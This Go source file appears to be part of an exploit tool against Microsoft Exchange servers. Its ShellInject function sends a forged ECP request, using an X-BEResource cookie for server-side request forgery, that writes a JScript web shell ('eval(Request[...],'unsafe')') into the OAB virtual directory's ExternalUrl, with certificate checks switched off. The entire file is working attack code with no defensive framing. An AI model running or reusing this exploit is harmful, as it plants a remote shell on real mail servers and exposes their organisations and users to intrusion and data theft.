package lib

import (
	"crypto/tls"
	"fmt"
	"io/ioutil"
	"net/http"
	"strconv"
	"strings"
	"time"
)

func ShellInject(url, fqdn, sid, aspnet, exsession, aobID string) string{
	data := `{"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": "`+aobID+`"}, "properties": {"Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel", "ExternalUrl": "http://t00ls/#<script language=\"JScript\" runat=\"server\">function Page_Load(){eval(Request[\"t00ls\"],\"unsafe\");}</script>"}}}`

	cli := &http.Client{Transport: &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true}},
		Timeout: time.Second * 5}
	request, err := http.NewRequest(http.MethodPost, url, strings.NewReader(data))
	if err != nil {
		panic(err)
	}
	request.Header.Add("User-Agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:86.0) Gecko/20100101 Firefox/86.0")
	request.Header.Add("Accept","*/*")
	request.Header.Add("Connection","keep-alive")
	request.Header.Add("Cookie","X-BEResource=Administrator@"+fqdn+":444/ecp/DDI/DDIService.svc/SetObject?schema=" +
		"OABVirtualDirectory&msExchEcpCanary="+exsession+"&a=~1942062522; ASP.NET_SessionId="+aspnet+"; msExchEcpCanary="+exsession)
	request.Header.Add("Content-Type","application/json; charset=utf-8")
	request.Header.Add("Accept-Language","en-US,en;q=0.5")
	request.Header.Add("X-Requested-With","XMLHttpRequest")
	request.Header.Add("msExchLogonMailbox",sid)
	request.Header.Add("Content-Length",strconv.Itoa(len(data)))
	do, err := cli.Do(request)
	if err != nil {
		panic(err)
	}
	defer func() {
		_=do.Body.Close()
	}()
	all, err := ioutil.ReadAll(do.Body)
	if err != nil {
		panic(err)
	}
	sprintf := fmt.Sprintf("%s", all)
	if len(sprintf) < 800 && strings.Contains(sprintf,"RawIdentity") ==true {
		split := strings.Split(sprintf, "\",\"RawIdentity\":\"")
		str := strings.Split(split[1], "\"},\"Name\":\"OAB")
		return str[0]
	}
	return ""
}
